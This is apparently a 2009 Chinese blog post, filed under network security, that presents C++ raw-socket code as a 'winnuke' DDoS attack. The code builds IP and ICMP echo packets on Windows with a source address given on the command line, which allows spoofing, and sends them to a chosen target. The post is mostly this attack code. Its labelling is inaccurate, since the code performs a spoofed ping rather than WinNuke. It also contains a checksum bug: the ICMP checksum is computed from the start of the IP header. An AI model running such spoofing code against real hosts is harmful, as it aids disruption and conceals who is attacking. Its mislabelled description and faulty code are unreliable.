winnuke攻击是ddos攻击的一种,详见http://www.cppblog.com/aurain/archive/2009/02/16/73935.html
本文是通过raw socket来构造这种icmp包来实施攻击,详见代码(需要在Windows 2000,2003才能运行,xp sp2禁止发送raw包)
///////////////////////////////////////////
// ping.cpp文件
#include <winsock2.h>
#pragma comment(lib, "WS2_32") // 链接到WS2_32.lib
#include <stdio.h>
#include <ws2tcpip.h> // 定义了IP_HDRINCL
// 协议
#define PROTO_ICMP 1
typedef struct _IPHeader // 20字节的IP头
{
UCHAR iphVerLen; // 版本号和头长度(各占4位)
UCHAR ipTOS; // 服务类型
USHORT ipLength; // 封包总长度,即整个IP报的长度
USHORT ipID; // 封包标识,惟一标识发送的每一个数据报
USHORT ipFlags; // 标志
UCHAR ipTTL; // 生存时间,就是TTL
UCHAR ipProtocol; // 协议,可能是TCP、UDP、ICMP等
USHORT ipChecksum; // 校验和
ULONG ipSource; // 源IP地址
ULONG ipDestination; // 目标IP地址
} IPHeader, *PIPHeader;
typedef struct icmp_hdr
{
unsigned char icmp_type; // 消息类型
unsigned char icmp_code; // 代码
unsigned short icmp_checksum; // 校验和
// 下面是回显头
unsigned short icmp_id; // 用来惟一标识此请求的ID号,通常设置为进程ID
unsigned short icmp_sequence; // 序列号
unsigned long icmp_timestamp; // 时间戳
} ICMP_HDR, *PICMP_HDR;
// 校验和的计算
// 以16位的字为单位将缓冲区的内容相加,如果缓冲区长度为奇数,
// 则再加上一个字节。它们的和存入一个32位的双字中
USHORT checksum(USHORT* buff, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buff++;
size -= sizeof(USHORT);
}
// 是奇数
if(size)
{
cksum += *(UCHAR*)buff;
}
// 将32位的chsum高16位和低16位相加,然后取反
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16); // ???
return (USHORT)(~cksum);
}
int main(int argc, char** argv)
{
char szDestIp[20] = {0}; // <<== 填写目的IP地址,即要Ping的IP地址
char szSourceIp[20] = {0}; // <<== 填写您自己的IP地址
//printf("dest ip:");
//scanf("%s", szDestIp);
//printf("\nsource ip:");
//scanf("%s", szSourceIp);
if (argc < 3)
{
printf("ping dstip srcip\n");
exit(1);
}
strcpy(szDestIp, argv[1]);
strcpy(szSourceIp, argv[2]);
printf("dest ip: %s\n", szDestIp);
printf("source ip: %s\n", szSourceIp);
// 初始化WS2_32.dll
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2, 2);
if(::WSAStartup(sockVersion, &wsaData) != 0)
{
exit(0);
}
// 创建原始套节字
SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// 有效IP头包含选项
BOOL bIncl = TRUE;
::setsockopt(sRaw, IPPROTO_IP, IP_HDRINCL, (char *)&bIncl, sizeof(bIncl));
// 设置目的地址
SOCKADDR_IN dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(0);
dest.sin_addr.S_un.S_addr = inet_addr(szDestIp);
char buff[sizeof(IPHeader) + sizeof(ICMP_HDR) + 32] = {0};
// IP头
IPHeader *pIphdr = (IPHeader *)buff;
pIphdr->iphVerLen = (4<<4 | (sizeof(IPHeader)/sizeof(ULONG)));
pIphdr->ipLength = ::htons(sizeof(IPHeader) + sizeof(ICMP_HDR) + 32);
pIphdr->ipTTL = 128;
pIphdr->ipProtocol = IPPROTO_ICMP;
pIphdr->ipSource = ::inet_addr(szSourceIp);
pIphdr->ipDestination = ::inet_addr(szDestIp);
pIphdr->ipChecksum = checksum((USHORT*)pIphdr, sizeof(IPHeader));
// 创建ICMP封包
ICMP_HDR* pIcmp = (ICMP_HDR*)&buff[sizeof(IPHeader)];
// 填写ICMP封包数据
pIcmp->icmp_type = 8; // 请求一个ICMP回显
pIcmp->icmp_code = 0;
pIcmp->icmp_id = (USHORT)::GetCurrentProcessId();
pIcmp->icmp_checksum = 0;
pIcmp->icmp_sequence = 0;
// 填充数据部分,可以为任意
memset(&buff[sizeof(IPHeader) + sizeof(ICMP_HDR)], 'E', 32);
// 开始发送和接收ICMP封包
USHORT nSeq = 0;
SOCKADDR_IN from;
int nLen = sizeof(from);
while(TRUE)
{
static int nCount = 0;
int nRet;
if(nCount++ == 4)
break;
pIcmp->icmp_checksum = 0;
pIcmp->icmp_timestamp = ::GetTickCount();
pIcmp->icmp_sequence = nSeq++;
pIcmp->icmp_checksum = checksum((USHORT*)buff, sizeof(ICMP_HDR) + 32);
nRet = ::sendto(sRaw, buff, sizeof(IPHeader) + sizeof(ICMP_HDR) + 32, 0, (SOCKADDR *)&dest, sizeof(dest));
if(nRet == SOCKET_ERROR)
{
printf(" sendto() failed: %d \n", ::WSAGetLastError());
return -1;
}
::Sleep(1000);
}
::WSACleanup();
return 0;
}
posted on 2009-04-01 13:50
水 阅读(2620)
评论(2) 编辑 收藏 引用 所属分类:
网络安全